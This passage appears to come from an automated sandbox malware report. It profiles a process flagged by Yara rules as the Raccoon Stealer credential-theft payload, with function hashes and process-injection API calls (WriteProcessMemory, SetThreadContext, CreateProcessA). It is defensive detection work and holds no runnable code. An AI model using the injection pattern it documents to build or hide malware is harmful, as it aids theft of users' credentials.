Target ID:	2
Start time:	00:12:13
Start date:	29/01/2022
Path:	C:\Windows\SysWOW64\LaunchWinApp.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\LaunchWinApp.exe
Imagebase:	0xa0000
File size:	33280 bytes
MD5 hash:	529B7E6E938EA6C3BCA2821EB525BBD7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Raccoon, Description: Yara detected Raccoon Stealer, Source: 00000002.00000000.308435428.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_Raccoon, Description: Raccoon stealer payload, Source: 00000002.00000000.308435428.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Raccoon, Description: Yara detected Raccoon Stealer, Source: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_Raccoon, Description: Raccoon stealer payload, Source: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Raccoon, Description: Yara detected Raccoon Stealer, Source: 00000002.00000000.308711684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_Raccoon, Description: Raccoon stealer payload, Source: 00000002.00000000.308711684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Raccoon, Description: Yara detected Raccoon Stealer, Source: 00000002.00000000.309062654.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_Raccoon, Description: Raccoon stealer payload, Source: 00000002.00000000.309062654.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Raccoon, Description: Yara detected Raccoon Stealer, Source: 00000002.00000000.308140277.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_Raccoon, Description: Raccoon stealer payload, Source: 00000002.00000000.308140277.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Raccoon, Description: Yara detected Raccoon Stealer, Source: 00000002.00000000.467738406.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_Raccoon, Description: Raccoon stealer payload, Source: 00000002.00000000.467738406.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Raccoon, Description: Yara detected Raccoon Stealer, Source: 00000002.00000000.309415722.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_Raccoon, Description: Raccoon stealer payload, Source: 00000002.00000000.309415722.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Raccoon, Description: Yara detected Raccoon Stealer, Source: 00000002.00000000.467293779.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_Raccoon, Description: Raccoon stealer payload, Source: 00000002.00000000.467293779.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low

Show Windows behavior

Target ID:	16
Start time:	00:13:29
Start date:	29/01/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5980 -s 796
Imagebase:	0x160000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Execution Graph

Execution Coverage:	14.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	11.8%
Total number of Nodes:	204
Total number of Limit Nodes:	11

Executed Functions

Function 06AAB240 Relevance: 15.2, Strings: 12, Instructions: 219
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

f`.o, xrefs: 06AAB514
p45o, xrefs: 06AAB37D
y`.o, xrefs: 06AAB51B
i;%o, xrefs: 06AAB4B0
w;%o, xrefs: 06AAB3B3
v;%o, xrefs: 06AAB438
s45o, xrefs: 06AAB384
u;%o, xrefs: 06AAB2A3
t;%o, xrefs: 06AAB43F
j;%o, xrefs: 06AAB261
u;%o, xrefs: 06AAB47E
q;%o, xrefs: 06AAB485

Memory Dump Source

Source File: 00000000.00000002.320913948.0000000006AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6aa0000_qpwx2wT5ky.jbxd

Similarity

API ID:
String ID: f`.o$i;%o$j;%o$p45o$q;%o$s45o$t;%o$u;%o$u;%o$v;%o$w;%o$y`.o
API String ID: 0-3406674395
Opcode ID: 426387c2268b8549068adc057abe7624f53bacb113cb93ad695b88bd76b214eb
Instruction ID: aac00ef3d9a718da6ab82f4ec979ce343daab6307c169983a0e8d9b17722cd55
Opcode Fuzzy Hash: 426387c2268b8549068adc057abe7624f53bacb113cb93ad695b88bd76b214eb
Instruction Fuzzy Hash: CD61D671F10325CFE748AEA9E86526DB5B3ABC8710F18912BE507EB344DB748C118BE1

Uniqueness

Uniqueness Score: -1.00%

Function 06AAB230 Relevance: 10.2, Strings: 8, Instructions: 220
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

f`.o, xrefs: 06AAB514
p45o, xrefs: 06AAB37D
i;%o, xrefs: 06AAB4B0
w;%o, xrefs: 06AAB3B3
v;%o, xrefs: 06AAB438
u;%o, xrefs: 06AAB2A3
j;%o, xrefs: 06AAB261
u;%o, xrefs: 06AAB47E

Memory Dump Source

Source File: 00000000.00000002.320913948.0000000006AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6aa0000_qpwx2wT5ky.jbxd

Similarity

API ID:
String ID: f`.o$i;%o$j;%o$p45o$u;%o$u;%o$v;%o$w;%o
API String ID: 0-863800063
Opcode ID: b3667560cacc718ce00050247382099b3f51382b4bd3137cc343aade83f0783d
Instruction ID: 5b4558973957a671aafa82cc072d0f610eb6ab91184adbab5049f023f2a4f848
Opcode Fuzzy Hash: b3667560cacc718ce00050247382099b3f51382b4bd3137cc343aade83f0783d
Instruction Fuzzy Hash: 4161D871F10315CFE748AE69E86527DB6B3AB88710F18912BE507EB344DB748D118BE1

Uniqueness

Uniqueness Score: -1.00%

Function 01775FA8 Relevance: 3.0, Strings: 2, Instructions: 496
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

D0Bl, xrefs: 017761A1
<Bl, xrefs: 017763D4

Memory Dump Source

Source File: 00000000.00000002.317042030.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1770000_qpwx2wT5ky.jbxd

Similarity

API ID:
String ID: <Bl$D0Bl
API String ID: 0-2072377930
Opcode ID: 003e239b20152cc47458a836051bd987f7242fe280d7a60e3db672b10e442cfb
Instruction ID: 6d3c55f52952d8df2fb9d2afc1a783727fafe29e522d85067bded8606ba35ad8
Opcode Fuzzy Hash: 003e239b20152cc47458a836051bd987f7242fe280d7a60e3db672b10e442cfb
Instruction Fuzzy Hash: 42028E34B005148FDF25DBB9D858AAEBBFAAF88704F144469E506DB3A9DB31DC01CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06AA0D90 Relevance: 2.7, Strings: 2, Instructions: 193
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

IBl, xrefs: 06AA0EC2
`~>l, xrefs: 06AA0F0A

Memory Dump Source

Source File: 00000000.00000002.320913948.0000000006AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6aa0000_qpwx2wT5ky.jbxd

Similarity

API ID:
String ID: `~>l$IBl
API String ID: 0-3926603690
Opcode ID: d7a6492954f17d65212833236584e9dd341e1933c7e087daa46828b58316243f
Instruction ID: 11c00651852e059ecb335980d4e25c74dee94c97e396b534ff6ebfaf1c7ee402
Opcode Fuzzy Hash: d7a6492954f17d65212833236584e9dd341e1933c7e087daa46828b58316243f
Instruction Fuzzy Hash: 9651E571F00225CFD718DEA9D9556AEB6B7ABC8314F24813AD406EB384DB749C46CB80

Uniqueness

Uniqueness Score: -1.00%

Function 017720B0 Relevance: .7, Instructions: 723COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.317042030.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1770000_qpwx2wT5ky.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54c4ebeb3bf1890b28927ae10ae844d7a4c140ccf182bbb1a95d44a3e85616f9
Instruction ID: ece4c984ffae26b25a8341aa566e87f8f4383b6a6b717f9a83704fd7b0105d53
Opcode Fuzzy Hash: 54c4ebeb3bf1890b28927ae10ae844d7a4c140ccf182bbb1a95d44a3e85616f9
Instruction Fuzzy Hash: F752AE35B001158FDF18DF69C884AADFBB6BF88714F158469E916AB366DB31EC01CB90

Uniqueness

Uniqueness Score: -1.00%

Function 017797A8 Relevance: .6, Instructions: 559COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.317042030.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1770000_qpwx2wT5ky.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51dd2d96ad1a4d2fe849b44a7a3164c729b060ee25a99ea47e294345aebfa316
Instruction ID: 0861dc2acd60a4223582b8f991da1aedfc6160617d734cf1a0ef887a02af5e97
Opcode Fuzzy Hash: 51dd2d96ad1a4d2fe849b44a7a3164c729b060ee25a99ea47e294345aebfa316
Instruction Fuzzy Hash: CF2219356005149FDB05DFA8C844E69BBB6FF8C718B1680A8E6069F376CB36EC51DB50

Uniqueness

Uniqueness Score: -1.00%

Function 0177784B Relevance: .5, Instructions: 475COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.317042030.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1770000_qpwx2wT5ky.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef0a0d3eff8e5fdcb2713530e224dfbd1dbf9499e7f5dc1c0566995989be8b48
Instruction ID: 9c956ab9abdb3fa3303af0528b6de07053136160a967f478c40b157be2dce6e6
Opcode Fuzzy Hash: ef0a0d3eff8e5fdcb2713530e224dfbd1dbf9499e7f5dc1c0566995989be8b48
Instruction Fuzzy Hash: 4B126831A00605CFCB19DF68D988AAEBBF2FF88305F548968D406AB695DB31F945CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0177B53F Relevance: .4, Instructions: 408COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.317042030.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1770000_qpwx2wT5ky.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7fae408fd61539e8c4dcce4cc93934de393300d04c889b426a982c64aac1c8f
Instruction ID: 5d4f224fd12e65758d03c60324b6824d99f8ddf725bf059b7623691666b77993
Opcode Fuzzy Hash: f7fae408fd61539e8c4dcce4cc93934de393300d04c889b426a982c64aac1c8f
Instruction Fuzzy Hash: 02D1FB75F402198BDB0CDEA9DD557ADF6E39BC8350F19912AD506EF384DA78CD028B80

Uniqueness

Uniqueness Score: -1.00%

Function 0177B538 Relevance: .4, Instructions: 408COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.317042030.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1770000_qpwx2wT5ky.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cde1a4aa29fe2e418575d33a5de8cadff27c67513778e27b843e97f4e72ceaa5
Instruction ID: e875ecfc45c4c8efad5d37f8cb6bdfdabb51618a31652439284ba41fe9192211
Opcode Fuzzy Hash: cde1a4aa29fe2e418575d33a5de8cadff27c67513778e27b843e97f4e72ceaa5
Instruction Fuzzy Hash: E0D1FC75F402158BDB0CDEA9DD557ADF6E39BC8350F19912AD506EF388DA78CD028B80

Uniqueness

Uniqueness Score: -1.00%

Function 0177B548 Relevance: .4, Instructions: 406COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.317042030.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1770000_qpwx2wT5ky.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e674c7e89202eab9f0340b40adb8bfeb2a144992b87b695a590060649a10cf2
Instruction ID: 51bddad894d76d356a9cb89fcbb63e3b01027f7b4053fe4be1de3faf14cdf70b
Opcode Fuzzy Hash: 5e674c7e89202eab9f0340b40adb8bfeb2a144992b87b695a590060649a10cf2
Instruction Fuzzy Hash: 6ED1FB75F402198BDB0CDEA9DD557ADF6E39BC8350F19912AD506EF384DA78CD028B80

Uniqueness

Uniqueness Score: -1.00%

Function 06AA5E00 Relevance: .3, Instructions: 307COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.320913948.0000000006AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6aa0000_qpwx2wT5ky.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71a922b2da71f9c651f4cc3361855b3e7e9e2c706ae83a29ee882b799e9b8b82
Instruction ID: 2dfdf0c5969629895c8d053ee60c5f5b3fe02c5c5b6f5d4e94713b517598b685
Opcode Fuzzy Hash: 71a922b2da71f9c651f4cc3361855b3e7e9e2c706ae83a29ee882b799e9b8b82
Instruction Fuzzy Hash: E7918B36F502218BE744CAACDC502FA76E7DBC9220B1E9167D90AEB340DA78CD5247D0

Uniqueness

Uniqueness Score: -1.00%

Function 06AA5E10 Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.320913948.0000000006AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6aa0000_qpwx2wT5ky.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e326f77504cfb9d62dd87d7ccf1d578f0b1381a8933fb1e45f6948c2c9450cb3
Instruction ID: 6e573f3e220e26d40e40aa148467d030b13d572c5e1a2b8a0e1ba637d0ba73e5
Opcode Fuzzy Hash: e326f77504cfb9d62dd87d7ccf1d578f0b1381a8933fb1e45f6948c2c9450cb3
Instruction Fuzzy Hash: FE816A36F502318BE74889ADDC512AB75E79BC8620B1E9127E90BEB344EE78CD5247D0

Uniqueness

Uniqueness Score: -1.00%

Function 06AA5262 Relevance: .3, Instructions: 269COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.320913948.0000000006AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6aa0000_qpwx2wT5ky.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e66b4fb60d4a574e7eab86321ad248335208c2d64959f02e07dca5ce59df315
Instruction ID: 19f08caf64c73f00ffaca1077334831c6064b3851e594cfe66c498857926d482
Opcode Fuzzy Hash: 8e66b4fb60d4a574e7eab86321ad248335208c2d64959f02e07dca5ce59df315
Instruction Fuzzy Hash: E5910534F053148FDB48DBA9D8946AAB6F3ABC9311F18846BE506DF340DB78CC168B85

Uniqueness

Uniqueness Score: -1.00%

Function 06AA60CA Relevance: .3, Instructions: 261COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.320913948.0000000006AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6aa0000_qpwx2wT5ky.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 598d5b1a5a3cbad734d1c2bf1e316e45ba11f4ba0653c6ec56fb0b86c4712fdf
Instruction ID: a091d1ee8af02d3379e959651de3c84ff48aea62f425b7c7e79c1dd576b6c9c3
Opcode Fuzzy Hash: 598d5b1a5a3cbad734d1c2bf1e316e45ba11f4ba0653c6ec56fb0b86c4712fdf
Instruction Fuzzy Hash: 4C715836F502318BE748C9ADDC612AA71E3ABC862471E9527D90BEB344EE78CD5247D0

Uniqueness

Uniqueness Score: -1.00%

Function 06AA60DC Relevance: .3, Instructions: 261COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.320913948.0000000006AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6aa0000_qpwx2wT5ky.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfe30575b4f2a9f5db9f070d5efcb2520cbceaf2db76394f817c9aea82eaabfd
Instruction ID: 4c007da13d74f8eef0d6b385eb99afa893bfda3d293cc8d205721dadc5596f02
Opcode Fuzzy Hash: bfe30575b4f2a9f5db9f070d5efcb2520cbceaf2db76394f817c9aea82eaabfd
Instruction Fuzzy Hash: 38715736F502318BE748C9ADDC612BA71E3ABC862471E9527D90BEB344EE78CD5247D0

Uniqueness

Uniqueness Score: -1.00%

Function 06AA5280 Relevance: .3, Instructions: 258COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.320913948.0000000006AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6aa0000_qpwx2wT5ky.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db9e1171101aceceec756a04846ea5aaff8ef3a22f7c3a71aca452446e46f021
Instruction ID: 2684fd3eeb7f5bc6842424607273c0bde83e9071525cf38381f9f1d6f0910e2b
Opcode Fuzzy Hash: db9e1171101aceceec756a04846ea5aaff8ef3a22f7c3a71aca452446e46f021
Instruction Fuzzy Hash: 6E81F775F103148FDB48DAA9D8946AEB6F3ABC8311F18842BE506DF740DB78DC128B85

Uniqueness

Uniqueness Score: -1.00%

Function 06AA8D48 Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.320913948.0000000006AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6aa0000_qpwx2wT5ky.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a68072ae1574ac39e4254c8f699771e7c39d4f289bfe4e8eabe5ffd090d6107
Instruction ID: 8275b1896da817130133ca089755eee83e916c00710c66d3e6a45e1f133516c8
Opcode Fuzzy Hash: 5a68072ae1574ac39e4254c8f699771e7c39d4f289bfe4e8eabe5ffd090d6107
Instruction Fuzzy Hash: E6618F75E402298FCB64DF65CC447AABBF6AB49710F1091E6D509EB340DB309E81CF80

Uniqueness

Uniqueness Score: -1.00%

Function 06AAC94A Relevance: 2.0, APIs: 1, Instructions: 547
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.320913948.0000000006AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6aa0000_qpwx2wT5ky.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8f8977516a9bd7ff083f25062e2b08393c71048db4de8ef65b65d9ea6d85757
Instruction ID: f6e8d73931c61666774b93211783da61abd794ee7fa3300a66ad471131ecb315
Opcode Fuzzy Hash: a8f8977516a9bd7ff083f25062e2b08393c71048db4de8ef65b65d9ea6d85757
Instruction Fuzzy Hash: 1E21AFB19043948FEB11DFA9C8447DEBFF4AF8A324F14885BC456AB251C7349905CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 06AAC194 Relevance: 1.7, APIs: 1, Instructions: 247
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 06AAC3D6

Memory Dump Source

Source File: 00000000.00000002.320913948.0000000006AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6aa0000_qpwx2wT5ky.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 0d805d33530296dbaf020e2c936c70d5f69b018e5672853860a1824bb61fe7f5
Instruction ID: f0a409819cc76d32506869208f6f4cf03ab3e8e6b295e1ef8a7b341c8a801b39
Opcode Fuzzy Hash: 0d805d33530296dbaf020e2c936c70d5f69b018e5672853860a1824bb61fe7f5
Instruction Fuzzy Hash: 18A15A71D00319DFEB54EFA9C841BEEBBB2BB48314F0485AAD849A7240DB749985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 06AAC1A0 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 06AAC3D6

Memory Dump Source

Source File: 00000000.00000002.320913948.0000000006AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6aa0000_qpwx2wT5ky.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: c79d423ab4379f5834d60e74c526484b25e8466c8a8a86eb659f8049a801a243
Instruction ID: 8f61960974df731b596bd8e9294f6f81bb8b52bca0704db5e10a85666cffdc4d
Opcode Fuzzy Hash: c79d423ab4379f5834d60e74c526484b25e8466c8a8a86eb659f8049a801a243
Instruction Fuzzy Hash: FD915971D003198FEF54EFA9C841BEEBBB2BB48314F0485AAD859A7240DB749985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 06AA432C Relevance: 1.6, APIs: 1, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MoveFileExA.KERNEL32(?,?,?), ref: 06AA446D

Memory Dump Source

Source File: 00000000.00000002.320913948.0000000006AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6aa0000_qpwx2wT5ky.jbxd

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: 704649b6457fdd9edebfc8b1f1f2dc87d7812ce7da6018645456edf7fc8649b0
Instruction ID: 43d85c60a22ffe11260c2d022d66bd938819f67443cea2a4f4ed8a551e2d4573
Opcode Fuzzy Hash: 704649b6457fdd9edebfc8b1f1f2dc87d7812ce7da6018645456edf7fc8649b0
Instruction Fuzzy Hash: 4F514571D007599FDB50DFA9C8817AEFBF1FB48314F14862AE855AB284D7B48886CB81

Uniqueness

Uniqueness Score: -1.00%

Function 06AA4338 Relevance: 1.6, APIs: 1, Instructions: 130
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MoveFileExA.KERNEL32(?,?,?), ref: 06AA446D

Memory Dump Source

Source File: 00000000.00000002.320913948.0000000006AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6aa0000_qpwx2wT5ky.jbxd

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: f2de09dd5833c4320d6d8697abb4a6db2ed601fed778d1bb07f5b28af4b73b89
Instruction ID: 77749ddeef4d8f657dd6b6b8f07271e834754e618699117b2d290f9dfd5294f4
Opcode Fuzzy Hash: f2de09dd5833c4320d6d8697abb4a6db2ed601fed778d1bb07f5b28af4b73b89
Instruction Fuzzy Hash: 42516371D007599FDB50EFA9C8817AEFBF1FB48310F14852AE855AB280D7B49881CB81

Uniqueness

Uniqueness Score: -1.00%

Function 01770C84 Relevance: 1.6, APIs: 1, Instructions: 100
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?), ref: 01770D7F

Memory Dump Source

Source File: 00000000.00000002.317042030.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1770000_qpwx2wT5ky.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 27a221f694b298e543fd9d2f333fe5c833fc91ce86acd794c792aa556cfbc6a2
Instruction ID: b85815bdabf5b70e83419b1af8b252c6ad4e4dae12167b1471cf7b9580e81f40
Opcode Fuzzy Hash: 27a221f694b298e543fd9d2f333fe5c833fc91ce86acd794c792aa556cfbc6a2
Instruction Fuzzy Hash: 644132B0D003589FDF10CFA9C98079EFBF1EB4A314F14852AE819AB284D774A885CF91

Uniqueness

Uniqueness Score: -1.00%

Function 017701B0 Relevance: 1.6, APIs: 1, Instructions: 99
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?), ref: 01770D7F

Memory Dump Source

Source File: 00000000.00000002.317042030.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1770000_qpwx2wT5ky.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8691e6721b6c8877693eb75f06ebac2cb9c56ce0a27f50e2cdbbf5c40b8073f7
Instruction ID: f19691770927c10d6a9a141ae02c56a21e8fe77241bb01aa5fcbe8e20e3e6cfc
Opcode Fuzzy Hash: 8691e6721b6c8877693eb75f06ebac2cb9c56ce0a27f50e2cdbbf5c40b8073f7
Instruction Fuzzy Hash: F44122B0D003189FDB14CFA9D88579EFBF5EB49314F14852AE819AB384D7B4A885CF91

Uniqueness

Uniqueness Score: -1.00%

Function 06AAC6D9 Relevance: 1.6, APIs: 1, Instructions: 76
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 06AAC770

Memory Dump Source

Source File: 00000000.00000002.320913948.0000000006AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6aa0000_qpwx2wT5ky.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 4aa5efed0fc6ca32e4e379d3e7045fc66f26c8f404de7ad6e44217b1552585bf
Instruction ID: fd92239c931e94c5d34a36f2cb11eb0f9d70adecbbb7555435014f79bdfe520e
Opcode Fuzzy Hash: 4aa5efed0fc6ca32e4e379d3e7045fc66f26c8f404de7ad6e44217b1552585bf
Instruction Fuzzy Hash: 5C2139759003199FDB50DFA9C881BEEBBF5FF48324F40882AE919A7240C774A944DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06AAC6E0 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 06AAC770

Memory Dump Source

Source File: 00000000.00000002.320913948.0000000006AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6aa0000_qpwx2wT5ky.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 912fadc78b042a42b421f00eb5ea167031924b7dd8a9263fc7687c6773f9b405
Instruction ID: 1c86c004f4655ba1c1ce8af120e8ed3b1e157cf03c20cc6ac26abc0d3c40a176
Opcode Fuzzy Hash: 912fadc78b042a42b421f00eb5ea167031924b7dd8a9263fc7687c6773f9b405
Instruction Fuzzy Hash: 28212A759003199FCB50DFA9C884BDEBBF5FF48314F54882AE919A7240C7789944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 06AAC521 Relevance: 1.6, APIs: 1, Instructions: 66
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadContext.KERNELBASE(?,00000000), ref: 06AAC5A6

Memory Dump Source

Source File: 00000000.00000002.320913948.0000000006AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6aa0000_qpwx2wT5ky.jbxd

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 0d4be07c7ebcd57723abb36579407cedd7f4e0b4fa108b9b5eab9eb7601187d3
Instruction ID: b797b2139c99b8af704c07b3588c9b18a16c43b9ab6a5d8cf2febfa7551f26fe
Opcode Fuzzy Hash: 0d4be07c7ebcd57723abb36579407cedd7f4e0b4fa108b9b5eab9eb7601187d3
Instruction Fuzzy Hash: 4C2148719003099FDB50DFA9C4847EEBBF8EB48324F54882AE419A7240DB78A945CFA1

Uniqueness

